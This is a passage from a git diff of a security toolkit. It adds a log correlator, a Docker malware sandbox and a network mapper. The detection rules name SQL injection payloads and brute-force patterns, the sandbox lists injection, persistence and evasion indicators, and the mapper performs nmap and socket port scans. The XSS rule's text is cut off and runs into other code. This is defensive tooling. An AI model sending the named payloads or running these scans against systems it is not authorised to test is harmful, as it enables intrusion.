'pattern': r'(Failed password|authentication failure).*ssh', + 'severity': 'high', + 'threshold': 5, + 'window_seconds': 60, + 'description': 'Multiple failed SSH login attempts' + }, + { + 'id': 'brute_force_web', + 'name': 'Web Login Brute Force', + 'pattern': r'(401|403).*POST.*(login|auth|signin)', + 'severity': 'high', + 'threshold': 10, + 'window_seconds': 60, + 'description': 'Multiple failed web login attempts' + }, + { + 'id': 'sql_injection', + 'name': 'SQL Injection Attempt', + 'pattern': r"(UNION\s+SELECT|OR\s+1\s*=\s*1|DROP\s+TABLE|'--|\bSLEEP\()", + 'severity': 'critical', + 'threshold': 1, + 'window_seconds': 0, + 'description': 'SQL injection pattern detected' + }, + { + 'id': 'xss_attempt', + 'name': 'XSS Attempt', + 'pattern': r'( Optional[Dict]: + """Parse a single log line.""" + line = line.strip() + if not line: + return None + + # Try JSON format + if LogParser.JSON_LOG_RE.match(line): + try: + data = json.loads(line) + return { + 'format': 'json', + 'timestamp': data.get('timestamp', data.get('time', data.get('@timestamp', ''))), + 'source': data.get('source', data.get('host', '')), + 'program': data.get('program', data.get('service', data.get('logger', ''))), + 'message': data.get('message', data.get('msg', str(data))), + 'level': data.get('level', data.get('severity', 'info')), + 'raw': line + } + except json.JSONDecodeError: + pass + + # Try syslog format + m = LogParser.SYSLOG_RE.match(line) + if m: + return { + 'format': 'syslog', + 'timestamp': m.group(1), + 'source': m.group(2), + 'program': m.group(3), + 'pid': m.group(4), + 'message': m.group(5), + 'raw': line + } + + # Try Apache/Nginx format + m = LogParser.APACHE_RE.match(line) + if m: + return { + 'format': 'apache', + 'timestamp': m.group(2), + 'source': m.group(1), + 'method': m.group(3), + 'path': m.group(4), + 'status': int(m.group(5)), + 'size': int(m.group(6)), + 'message': line, + 'raw': line + } + + # Generic fallback + return { + 'format': 'unknown', + 'timestamp': '', + 'message': line, + 'raw': line + } + + +# ── Log Correlator Engine ──────────────────────────────────────────────────── + +class LogCorrelator: + """Log correlation and anomaly detection engine.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'log_correlator') + os.makedirs(self.data_dir, exist_ok=True) + + self.rules: List[Dict] = list(DEFAULT_RULES) + self.alerts: List[Dict] = [] + self.logs: List[Dict] = [] + self.sources: Dict[str, Dict] = {} + self._rule_hits: Dict[str, List[float]] = defaultdict(list) + self._lock = threading.Lock() + self._load_custom_rules() + self._load_alerts() + + def _load_custom_rules(self): + rules_file = os.path.join(self.data_dir, 'custom_rules.json') + if os.path.exists(rules_file): + try: + with open(rules_file) as f: + custom = json.load(f) + self.rules.extend(custom) + except Exception: + pass + + def _save_custom_rules(self): + # Only save non-default rules + default_ids = {r['id'] for r in DEFAULT_RULES} + custom = [r for r in self.rules if r['id'] not in default_ids] + rules_file = os.path.join(self.data_dir, 'custom_rules.json') + with open(rules_file, 'w') as f: + json.dump(custom, f, indent=2) + + def _load_alerts(self): + alerts_file = os.path.join(self.data_dir, 'alerts.json') + if os.path.exists(alerts_file): + try: + with open(alerts_file) as f: + self.alerts = json.load(f) + except Exception: + pass + + def _save_alerts(self): + alerts_file = os.path.join(self.data_dir, 'alerts.json') + with open(alerts_file, 'w') as f: + json.dump(self.alerts[-1000:], f, indent=2) + + # ── Log Ingestion ──────────────────────────────────────────────────── + + def ingest_file(self, filepath: str, source_name: str = None) -> Dict: + """Ingest log file for analysis.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + source = source_name or Path(filepath).name + parsed = 0 + alerts_generated = 0 + + try: + with open(filepath, 'r', errors='ignore') as f: + for line in f: + entry = LogParser.parse_line(line) + if entry: + entry['source_file'] = source + self.logs.append(entry) + parsed += 1 + + # Run detection rules + new_alerts = self._check_rules(entry) + alerts_generated += len(new_alerts) + + self.sources[source] = { + 'file': filepath, + 'lines': parsed, + 'ingested': datetime.now(timezone.utc).isoformat() + } + + if alerts_generated: + self._save_alerts() + + return { + 'ok': True, 'source': source, + 'lines_parsed': parsed, + 'alerts_generated': alerts_generated + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def ingest_text(self, text: str, source_name: str = 'paste') -> Dict: + """Ingest log text directly.""" + parsed = 0 + alerts_generated = 0 + + for line in text.strip().splitlines(): + entry = LogParser.parse_line(line) + if entry: + entry['source_file'] = source_name + self.logs.append(entry) + parsed += 1 + new_alerts = self._check_rules(entry) + alerts_generated += len(new_alerts) + + if alerts_generated: + self._save_alerts() + + return { + 'ok': True, 'source': source_name, + 'lines_parsed': parsed, + 'alerts_generated': alerts_generated + } + + # ── Detection ──────────────────────────────────────────────────────── + + def _check_rules(self, entry: Dict) -> List[Dict]: + """Check log entry against detection rules.""" + new_alerts = [] + message = entry.get('message', '') + ' ' + entry.get('raw', '') + now = time.time() + + for rule in self.rules: + try: + if re.search(rule['pattern'], message, re.I): + rule_id = rule['id'] + + # Threshold check + if rule.get('threshold', 1) > 1 and rule.get('window_seconds', 0) > 0: + with self._lock: + self._rule_hits[rule_id].append(now) + # Clean old hits + window = rule['window_seconds'] + self._rule_hits[rule_id] = [ + t for t in self._rule_hits[rule_id] + if now - t <= window + ] + if len(self._rule_hits[rule_id]) < rule['threshold']: + continue + + alert = { + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'rule_id': rule_id, + 'rule_name': rule['name'], + 'severity': rule['severity'], + 'description': rule['description'], + 'source': entry.get('source_file', ''), + 'log_entry': entry.get('message', '')[:200], + 'raw': entry.get('raw', '')[:300] + } + self.alerts.append(alert) + new_alerts.append(alert) + except re.error: + pass + + return new_alerts + + # ── Rule Management ────────────────────────────────────────────────── + + def add_rule(self, rule_id: str, name: str, pattern: str, + severity: str = 'medium', threshold: int = 1, + window_seconds: int = 0, description: str = '') -> Dict: + """Add custom detection rule.""" + # Validate regex + try: + re.compile(pattern) + except re.error as e: + return {'ok': False, 'error': f'Invalid regex: {e}'} + + rule = { + 'id': rule_id, 'name': name, 'pattern': pattern, + 'severity': severity, 'threshold': threshold, + 'window_seconds': window_seconds, + 'description': description + } + self.rules.append(rule) + self._save_custom_rules() + return {'ok': True, 'rule': rule} + + def remove_rule(self, rule_id: str) -> Dict: + """Remove a custom rule.""" + default_ids = {r['id'] for r in DEFAULT_RULES} + if rule_id in default_ids: + return {'ok': False, 'error': 'Cannot remove built-in rule'} + + before = len(self.rules) + self.rules = [r for r in self.rules if r['id'] != rule_id] + if len(self.rules) < before: + self._save_custom_rules() + return {'ok': True} + return {'ok': False, 'error': 'Rule not found'} + + def get_rules(self) -> List[Dict]: + """List all detection rules.""" + default_ids = {r['id'] for r in DEFAULT_RULES} + return [{**r, 'builtin': r['id'] in default_ids} for r in self.rules] + + # ── Analysis ───────────────────────────────────────────────────────── + + def search_logs(self, query: str, source: str = None, + limit: int = 100) -> List[Dict]: + """Search ingested logs.""" + results = [] + for entry in reversed(self.logs): + if source and entry.get('source_file') != source: + continue + if query.lower() in (entry.get('message', '') + entry.get('raw', '')).lower(): + results.append(entry) + if len(results) >= limit: + break + return results + + def get_stats(self) -> Dict: + """Get correlator statistics.""" + severity_counts = Counter(a['severity'] for a in self.alerts) + rule_counts = Counter(a['rule_id'] for a in self.alerts) + source_counts = Counter(e.get('source_file', '') for e in self.logs) + + return { + 'total_logs': len(self.logs), + 'total_alerts': len(self.alerts), + 'sources': len(self.sources), + 'rules': len(self.rules), + 'alerts_by_severity': dict(severity_counts), + 'top_rules': dict(rule_counts.most_common(10)), + 'top_sources': dict(source_counts.most_common(10)) + } + + def get_alerts(self, severity: str = None, limit: int = 100) -> List[Dict]: + """Get alerts with optional filtering.""" + alerts = self.alerts + if severity: + alerts = [a for a in alerts if a['severity'] == severity] + return alerts[-limit:] + + def clear_alerts(self): + """Clear all alerts.""" + self.alerts.clear() + self._save_alerts() + + def clear_logs(self): + """Clear ingested logs.""" + self.logs.clear() + self.sources.clear() + + def get_sources(self) -> Dict: + """Get ingested log sources.""" + return self.sources + + def get_timeline(self, hours: int = 24) -> List[Dict]: + """Get alert timeline grouped by hour.""" + timeline = defaultdict(lambda: {'count': 0, 'critical': 0, 'high': 0, 'medium': 0, 'low': 0}) + + for alert in self.alerts: + ts = alert.get('timestamp', '')[:13] # YYYY-MM-DDTHH + timeline[ts]['count'] += 1 + sev = alert.get('severity', 'low') + timeline[ts][sev] = timeline[ts].get(sev, 0) + 1 + + return [{'hour': k, **v} for k, v in sorted(timeline.items())[-hours:]] + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_log_correlator() -> LogCorrelator: + global _instance + if _instance is None: + _instance = LogCorrelator() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Log Correlator module.""" + engine = get_log_correlator() + + while True: + stats = engine.get_stats() + print(f"\n{'='*60}") + print(f" Log Correlator ({stats['total_logs']} logs, {stats['total_alerts']} alerts)") + print(f"{'='*60}") + print() + print(" 1 — Ingest Log File") + print(" 2 — Paste Log Text") + print(" 3 — Search Logs") + print(" 4 — View Alerts") + print(" 5 — Manage Rules") + print(" 6 — View Stats") + print(" 7 — Alert Timeline") + print(" 8 — Clear Alerts") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + filepath = input(" Log file path: ").strip() + if filepath: + result = engine.ingest_file(filepath) + if result['ok']: + print(f" Parsed {result['lines_parsed']} lines, " + f"{result['alerts_generated']} alerts generated") + else: + print(f" Error: {result['error']}") + elif choice == '2': + print(" Paste log lines (blank line to finish):") + lines = [] + while True: + line = input() + if not line: + break + lines.append(line) + if lines: + result = engine.ingest_text('\n'.join(lines)) + print(f" Parsed {result['lines_parsed']} lines, " + f"{result['alerts_generated']} alerts") + elif choice == '3': + query = input(" Search query: ").strip() + if query: + results = engine.search_logs(query) + print(f" {len(results)} matches:") + for r in results[:10]: + print(f" [{r.get('source_file', '?')}] {r.get('message', '')[:80]}") + elif choice == '4': + sev = input(" Severity filter (blank=all): ").strip() or None + alerts = engine.get_alerts(severity=sev) + for a in alerts[-15:]: + print(f" [{a['severity']:<8}] {a['rule_name']}: {a['log_entry'][:60]}") + elif choice == '5': + rules = engine.get_rules() + for r in rules: + builtin = ' (built-in)' if r.get('builtin') else '' + print(f" {r['id']}: {r['name']} [{r['severity']}]{builtin}") + elif choice == '6': + print(f" Logs: {stats['total_logs']}") + print(f" Alerts: {stats['total_alerts']}") + print(f" Sources: {stats['sources']}") + print(f" Rules: {stats['rules']}") + if stats['alerts_by_severity']: + print(f" By severity: {stats['alerts_by_severity']}") + elif choice == '7': + timeline = engine.get_timeline() + for t in timeline[-12:]: + bar = '#' * min(t['count'], 40) + print(f" {t['hour']} | {bar} ({t['count']})") + elif choice == '8': + engine.clear_alerts() + print(" Alerts cleared") diff --git a/modules/malware_sandbox.py b/modules/malware_sandbox.py new file mode 100644 index 0000000..06e9531 --- /dev/null +++ b/modules/malware_sandbox.py @@ -0,0 +1,524 @@ +"""AUTARCH Malware Sandbox + +Isolated sample detonation (Docker-based), behavior logging, API call tracing, +network activity monitoring, and file system change tracking. +""" + +DESCRIPTION = "Malware detonation sandbox & analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import shutil +import hashlib +import subprocess +import threading +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── YARA Rules (basic) ────────────────────────────────────────────────────── + +BASIC_YARA_INDICATORS = { + 'suspicious_imports': [ + b'CreateRemoteThread', b'VirtualAllocEx', b'WriteProcessMemory', + b'NtQueryInformationProcess', b'IsDebuggerPresent', + b'GetProcAddress', b'LoadLibraryA', b'ShellExecuteA', + ], + 'crypto_indicators': [ + b'CryptEncrypt', b'CryptDecrypt', b'BCryptEncrypt', + b'AES', b'RSA', b'BEGIN PUBLIC KEY', + ], + 'network_indicators': [ + b'InternetOpenA', b'HttpOpenRequestA', b'URLDownloadToFile', + b'WSAStartup', b'connect', b'send', b'recv', + b'http://', b'https://', b'ftp://', + ], + 'persistence_indicators': [ + b'CurrentVersion\\Run', b'SOFTWARE\\Microsoft\\Windows\\CurrentVersion', + b'schtasks', b'at.exe', b'HKEY_LOCAL_MACHINE', b'HKEY_CURRENT_USER', + b'crontab', b'/etc/cron', + ], + 'evasion_indicators': [ + b'IsDebuggerPresent', b'CheckRemoteDebuggerPresent', + b'NtSetInformationThread', b'vmware', b'virtualbox', b'vbox', + b'sandbox', b'SbieDll.dll', + ], +} + + +# ── Sandbox Engine ─────────────────────────────────────────────────────────── + +class MalwareSandbox: + """Isolated malware analysis environment.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'sandbox') + os.makedirs(self.data_dir, exist_ok=True) + self.samples_dir = os.path.join(self.data_dir, 'samples') + os.makedirs(self.samples_dir, exist_ok=True) + self.reports_dir = os.path.join(self.data_dir, 'reports') + os.makedirs(self.reports_dir, exist_ok=True) + + self.docker = find_tool('docker') or shutil.which('docker') + self.strace = shutil.which('strace') + self.ltrace = shutil.which('ltrace') + self.file_cmd = shutil.which('file') + self.strings_cmd = find_tool('strings') or shutil.which('strings') + + self.analyses: List[Dict] = [] + self._jobs: Dict[str, Dict] = {} + + def get_status(self) -> Dict: + """Get sandbox capabilities.""" + docker_ok = False + if self.docker: + try: + result = subprocess.run([self.docker, 'info'], + capture_output=True, timeout=5) + docker_ok = result.returncode == 0 + except Exception: + pass + + return { + 'docker': docker_ok, + 'strace': self.strace is not None, + 'ltrace': self.ltrace is not None, + 'file': self.file_cmd is not None, + 'strings': self.strings_cmd is not None, + 'samples': len(list(Path(self.samples_dir).iterdir())), + 'analyses': len(self.analyses) + } + + # ── Sample Management ──────────────────────────────────────────────── + + def submit_sample(self, filepath: str, name: str = None) -> Dict: + """Submit a sample for analysis.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + # Hash the sample + hashes = {} + with open(filepath, 'rb') as f: + data = f.read() + hashes['md5'] = hashlib.md5(data).hexdigest() + hashes['sha1'] = hashlib.sha1(data).hexdigest() + hashes['sha256'] = hashlib.sha256(data).hexdigest() + + # Copy to samples dir + sample_name = name or Path(filepath).name + safe_name = re.sub(r'[^\w.\-]', '_', sample_name) + dest = os.path.join(self.samples_dir, f'{hashes["sha256"][:16]}_{safe_name}') + shutil.copy2(filepath, dest) + + sample = { + 'name': sample_name, + 'path': dest, + 'size': os.path.getsize(dest), + 'hashes': hashes, + 'submitted': datetime.now(timezone.utc).isoformat() + } + + return {'ok': True, 'sample': sample} + + def list_samples(self) -> List[Dict]: + """List submitted samples.""" + samples = [] + for f in Path(self.samples_dir).iterdir(): + if f.is_file(): + samples.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime, timezone.utc).isoformat() + }) + return samples + + # ── Static Analysis ────────────────────────────────────────────────── + + def static_analysis(self, filepath: str) -> Dict: + """Perform static analysis on a sample.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + result = { + 'ok': True, + 'file': filepath, + 'name': Path(filepath).name, + 'size': os.path.getsize(filepath) + } + + # File type identification + if self.file_cmd: + try: + out = subprocess.check_output([self.file_cmd, filepath], + text=True, timeout=10) + result['file_type'] = out.split(':', 1)[-1].strip() + except Exception: + pass + + # Hashes + with open(filepath, 'rb') as f: + data = f.read() + result['hashes'] = { + 'md5': hashlib.md5(data).hexdigest(), + 'sha1': hashlib.sha1(data).hexdigest(), + 'sha256': hashlib.sha256(data).hexdigest() + } + + # Strings extraction + if self.strings_cmd: + try: + out = subprocess.check_output( + [self.strings_cmd, '-n', '6', filepath], + text=True, timeout=30, stderr=subprocess.DEVNULL + ) + strings = out.strip().split('\n') + result['strings_count'] = len(strings) + + # Extract interesting strings + urls = [s for s in strings if re.match(r'https?://', s)] + ips = [s for s in strings if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', s)] + emails = [s for s in strings if re.match(r'[^@]+@[^@]+\.[^@]+', s)] + paths = [s for s in strings if s.startswith('/') or '\\' in s] + + result['interesting_strings'] = { + 'urls': urls[:20], + 'ips': list(set(ips))[:20], + 'emails': list(set(emails))[:10], + 'paths': paths[:20] + } + except Exception: + pass + + # YARA-like signature matching + indicators = {} + for category, patterns in BASIC_YARA_INDICATORS.items(): + matches = [p.decode('utf-8', errors='replace') for p in patterns if p in data] + if matches: + indicators[category] = matches + + result['indicators'] = indicators + result['indicator_count'] = sum(len(v) for v in indicators.values()) + + # PE header analysis + if data[:2] == b'MZ': + result['pe_info'] = self._parse_pe_header(data) + + # ELF header analysis + if data[:4] == b'\x7fELF': + result['elf_info'] = self._parse_elf_header(data) + + # Risk score + score = 0 + if indicators.get('evasion_indicators'): + score += 30 + if indicators.get('persistence_indicators'): + score += 25 + if indicators.get('suspicious_imports'): + score += 20 + if indicators.get('network_indicators'): + score += 15 + if indicators.get('crypto_indicators'): + score += 10 + + result['risk_score'] = min(100, score) + result['risk_level'] = ( + 'critical' if score >= 70 else + 'high' if score >= 50 else + 'medium' if score >= 30 else + 'low' if score >= 10 else + 'clean' + ) + + return result + + def _parse_pe_header(self, data: bytes) -> Dict: + """Basic PE header parsing.""" + info = {'format': 'PE'} + try: + import struct + e_lfanew = struct.unpack_from(' Dict: + """Basic ELF header parsing.""" + info = {'format': 'ELF'} + try: + import struct + ei_class = data[4] + info['bits'] = {1: 32, 2: 64}.get(ei_class, 0) + ei_data = data[5] + info['endian'] = {1: 'little', 2: 'big'}.get(ei_data, 'unknown') + e_type = struct.unpack_from(' str: + """Run sample in Docker sandbox. Returns job_id.""" + if not self.docker: + return '' + + job_id = f'sandbox_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'dynamic', 'status': 'running', + 'result': None, 'started': time.time() + } + + def _run(): + try: + container_name = f'autarch_sandbox_{job_id}' + sample_name = Path(filepath).name + + # Run in isolated container + cmd = [ + self.docker, 'run', '--rm', + '--name', container_name, + '--network', 'none', # No network + '--memory', '256m', # Memory limit + '--cpus', '1', # CPU limit + '--read-only', # Read-only root + '--tmpfs', '/tmp:size=64m', + '-v', f'{os.path.abspath(filepath)}:/sample/{sample_name}:ro', + 'ubuntu:22.04', + 'bash', '-c', f''' + # Log file operations + cp /sample/{sample_name} /tmp/test_sample + chmod +x /tmp/test_sample 2>/dev/null + # Try to run with strace if available + timeout {timeout} strace -f -o /tmp/trace.log /tmp/test_sample 2>/tmp/stderr.log || true + cat /tmp/trace.log 2>/dev/null | head -1000 + echo "---STDERR---" + cat /tmp/stderr.log 2>/dev/null | head -100 + ''' + ] + + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=timeout + 30) + + # Parse strace output + syscalls = {} + files_accessed = [] + network_calls = [] + + for line in result.stdout.split('\n'): + # Count syscalls + sc_match = re.match(r'.*?(\w+)\(', line) + if sc_match: + sc = sc_match.group(1) + syscalls[sc] = syscalls.get(sc, 0) + 1 + + # File access + if 'open(' in line or 'openat(' in line: + f_match = re.search(r'"([^"]+)"', line) + if f_match: + files_accessed.append(f_match.group(1)) + + # Network + if 'connect(' in line or 'socket(' in line: + network_calls.append(line.strip()[:100]) + + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': True, + 'syscalls': syscalls, + 'syscall_count': sum(syscalls.values()), + 'files_accessed': list(set(files_accessed))[:50], + 'network_calls': network_calls[:20], + 'exit_code': result.returncode, + 'stderr': result.stderr[:500] if result.stderr else '' + } + + except subprocess.TimeoutExpired: + # Kill container + subprocess.run([self.docker, 'kill', container_name], + capture_output=True) + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': True, 'timeout': True, + 'message': 'Analysis timed out (sample may be long-running)' + } + except Exception as e: + self._jobs[job_id]['status'] = 'error' + self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)} + + threading.Thread(target=_run, daemon=True).start() + return job_id + + # ── Report Generation ──────────────────────────────────────────────── + + def generate_report(self, filepath: str, include_dynamic: bool = False) -> Dict: + """Generate comprehensive analysis report.""" + static = self.static_analysis(filepath) + report = { + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'sample': { + 'name': Path(filepath).name, + 'path': filepath, + 'size': static.get('size', 0), + 'hashes': static.get('hashes', {}) + }, + 'static_analysis': static, + 'risk_score': static.get('risk_score', 0), + 'risk_level': static.get('risk_level', 'unknown') + } + + # Save report + report_name = f'report_{static.get("hashes", {}).get("sha256", "unknown")[:16]}.json' + report_path = os.path.join(self.reports_dir, report_name) + with open(report_path, 'w') as f: + json.dump(report, f, indent=2) + + report['report_path'] = report_path + self.analyses.append({ + 'name': Path(filepath).name, + 'report': report_path, + 'risk': report['risk_level'], + 'timestamp': report['timestamp'] + }) + + return {'ok': True, **report} + + def list_reports(self) -> List[Dict]: + """List analysis reports.""" + reports = [] + for f in Path(self.reports_dir).glob('*.json'): + try: + with open(f) as fh: + data = json.load(fh) + reports.append({ + 'name': f.name, + 'path': str(f), + 'sample': data.get('sample', {}).get('name', ''), + 'risk': data.get('risk_level', 'unknown'), + 'timestamp': data.get('timestamp', '') + }) + except Exception: + pass + return reports + + # ── Job Management ─────────────────────────────────────────────────── + + def get_job(self, job_id: str) -> Optional[Dict]: + return self._jobs.get(job_id) + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_sandbox() -> MalwareSandbox: + global _instance + if _instance is None: + _instance = MalwareSandbox() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Malware Sandbox module.""" + sandbox = get_sandbox() + + while True: + status = sandbox.get_status() + print(f"\n{'='*60}") + print(f" Malware Sandbox") + print(f"{'='*60}") + print(f" Docker: {'OK' if status['docker'] else 'NOT AVAILABLE'}") + print(f" Samples: {status['samples']} Analyses: {status['analyses']}") + print() + print(" 1 — Submit Sample") + print(" 2 — Static Analysis") + print(" 3 — Dynamic Analysis (Docker)") + print(" 4 — Full Report") + print(" 5 — List Samples") + print(" 6 — List Reports") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + path = input(" File path: ").strip() + if path: + result = sandbox.submit_sample(path) + if result['ok']: + s = result['sample'] + print(f" Submitted: {s['name']} ({s['size']} bytes)") + print(f" SHA256: {s['hashes']['sha256']}") + else: + print(f" Error: {result['error']}") + elif choice == '2': + path = input(" Sample path: ").strip() + if path: + result = sandbox.static_analysis(path) + if result['ok']: + print(f" Type: {result.get('file_type', 'unknown')}") + print(f" Risk: {result['risk_level']} ({result['risk_score']}/100)") + print(f" Strings: {result.get('strings_count', 0)}") + for cat, matches in result.get('indicators', {}).items(): + print(f" {cat}: {', '.join(matches[:5])}") + else: + print(f" Error: {result['error']}") + elif choice == '3': + if not status['docker']: + print(" Docker not available") + continue + path = input(" Sample path: ").strip() + if path: + job_id = sandbox.dynamic_analysis(path) + print(f" Running in sandbox (job: {job_id})...") + while True: + job = sandbox.get_job(job_id) + if job['status'] != 'running': + r = job['result'] + if r.get('ok'): + print(f" Syscalls: {r.get('syscall_count', 0)}") + print(f" Files: {len(r.get('files_accessed', []))}") + print(f" Network: {len(r.get('network_calls', []))}") + else: + print(f" Error: {r.get('error', 'Unknown')}") + break + time.sleep(2) + elif choice == '4': + path = input(" Sample path: ").strip() + if path: + result = sandbox.generate_report(path) + if result['ok']: + print(f" Report: {result['report_path']}") + print(f" Risk: {result['risk_level']} ({result['risk_score']}/100)") + elif choice == '5': + for s in sandbox.list_samples(): + print(f" {s['name']} ({s['size']} bytes)") + elif choice == '6': + for r in sandbox.list_reports(): + print(f" [{r['risk']}] {r['sample']} {r['timestamp'][:19]}") diff --git a/modules/net_mapper.py b/modules/net_mapper.py new file mode 100644 index 0000000..de711fd --- /dev/null +++ b/modules/net_mapper.py @@ -0,0 +1,509 @@ +"""AUTARCH Network Topology Mapper + +Host discovery, service enumeration, OS fingerprinting, and visual +network topology mapping with scan diffing. +""" + +DESCRIPTION = "Network topology discovery & mapping" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import socket +import struct +import threading +import subprocess +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +@dataclass +class Host: + ip: str + mac: str = '' + hostname: str = '' + os_guess: str = '' + ports: List[dict] = field(default_factory=list) + state: str = 'up' + subnet: str = '' + + def to_dict(self) -> dict: + return { + 'ip': self.ip, 'mac': self.mac, 'hostname': self.hostname, + 'os_guess': self.os_guess, 'ports': self.ports, + 'state': self.state, 'subnet': self.subnet, + } + + +class NetMapper: + """Network topology discovery and mapping.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'net_mapper') + os.makedirs(self._data_dir, exist_ok=True) + self._active_jobs: Dict[str, dict] = {} + + # ── Host Discovery ──────────────────────────────────────────────────── + + def discover_hosts(self, target: str, method: str = 'auto', + timeout: float = 3.0) -> dict: + """Discover live hosts on a network. + + target: IP, CIDR (192.168.1.0/24), or range (192.168.1.1-254) + method: 'arp', 'icmp', 'tcp', 'nmap', 'auto' + """ + job_id = f'discover_{int(time.time())}' + holder = {'done': False, 'hosts': [], 'error': None} + self._active_jobs[job_id] = holder + + def do_discover(): + try: + nmap = find_tool('nmap') + if method == 'nmap' or (method == 'auto' and nmap): + hosts = self._nmap_discover(target, nmap, timeout) + elif method == 'icmp' or method == 'auto': + hosts = self._ping_sweep(target, timeout) + elif method == 'tcp': + hosts = self._tcp_discover(target, timeout) + else: + hosts = self._ping_sweep(target, timeout) + holder['hosts'] = [h.to_dict() for h in hosts] + except Exception as e: + holder['error'] = str(e) + finally: + holder['done'] = True + + threading.Thread(target=do_discover, daemon=True).start() + return {'ok': True, 'job_id': job_id} + + def _nmap_discover(self, target: str, nmap: str, timeout: float) -> List[Host]: + """Discover hosts using nmap.""" + cmd = [nmap, '-sn', '-PE', '-PA21,22,80,443,445,3389', '-oX', '-', target] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + return self._parse_nmap_xml(result.stdout) + except Exception: + return [] + + def _ping_sweep(self, target: str, timeout: float) -> List[Host]: + """ICMP ping sweep.""" + ips = self._expand_target(target) + hosts = [] + lock = threading.Lock() + + def ping(ip): + try: + # Use socket instead of subprocess for speed + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + # Try common ports to detect hosts even if ICMP is blocked + for port in (80, 443, 22, 445): + try: + r = s.connect_ex((ip, port)) + if r == 0: + h = Host(ip=ip, state='up', + subnet='.'.join(ip.split('.')[:3]) + '.0/24') + try: + h.hostname = socket.getfqdn(ip) + if h.hostname == ip: + h.hostname = '' + except Exception: + pass + with lock: + hosts.append(h) + s.close() + return + except Exception: + pass + s.close() + except Exception: + pass + + threads = [] + for ip in ips: + t = threading.Thread(target=ping, args=(ip,), daemon=True) + threads.append(t) + t.start() + if len(threads) >= 100: + for t in threads: + t.join(timeout=timeout + 2) + threads.clear() + for t in threads: + t.join(timeout=timeout + 2) + + return sorted(hosts, key=lambda h: [int(x) for x in h.ip.split('.')]) + + def _tcp_discover(self, target: str, timeout: float) -> List[Host]: + """TCP SYN scan for discovery.""" + return self._ping_sweep(target, timeout) # Same logic for now + + # ── Port Scanning ───────────────────────────────────────────────────── + + def scan_host(self, ip: str, port_range: str = '1-1024', + service_detection: bool = True, + os_detection: bool = True) -> dict: + """Detailed scan of a single host.""" + nmap = find_tool('nmap') + if nmap: + return self._nmap_scan_host(ip, nmap, port_range, + service_detection, os_detection) + return self._socket_scan_host(ip, port_range) + + def _nmap_scan_host(self, ip: str, nmap: str, port_range: str, + svc: bool, os_det: bool) -> dict: + cmd = [nmap, '-Pn', '-p', port_range, '-oX', '-', ip] + if svc: + cmd.insert(2, '-sV') + if os_det: + cmd.insert(2, '-O') + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + hosts = self._parse_nmap_xml(result.stdout) + if hosts: + return {'ok': True, 'host': hosts[0].to_dict(), 'raw': result.stdout} + return {'ok': True, 'host': Host(ip=ip, state='unknown').to_dict()} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def _socket_scan_host(self, ip: str, port_range: str) -> dict: + """Fallback socket-based port scan.""" + start_port, end_port = 1, 1024 + if '-' in port_range: + parts = port_range.split('-') + start_port, end_port = int(parts[0]), int(parts[1]) + + open_ports = [] + for port in range(start_port, min(end_port + 1, 65536)): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(1) + if s.connect_ex((ip, port)) == 0: + open_ports.append({ + 'port': port, 'protocol': 'tcp', 'state': 'open', + 'service': self._guess_service(port), + }) + s.close() + except Exception: + pass + + host = Host(ip=ip, state='up', ports=open_ports, + subnet='.'.join(ip.split('.')[:3]) + '.0/24') + return {'ok': True, 'host': host.to_dict()} + + # ── Topology / Scan Management ──────────────────────────────────────── + + def save_scan(self, name: str, hosts: List[dict]) -> dict: + """Save a network scan for later comparison.""" + scan = { + 'name': name, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'hosts': hosts, + 'host_count': len(hosts), + } + path = os.path.join(self._data_dir, f'scan_{name}_{int(time.time())}.json') + with open(path, 'w') as f: + json.dump(scan, f, indent=2) + return {'ok': True, 'path': path} + + def list_scans(self) -> List[dict]: + scans = [] + for f in Path(self._data_dir).glob('scan_*.json'): + try: + with open(f, 'r') as fh: + data = json.load(fh) + scans.append({ + 'file': f.name, + 'name': data.get('name', ''), + 'timestamp': 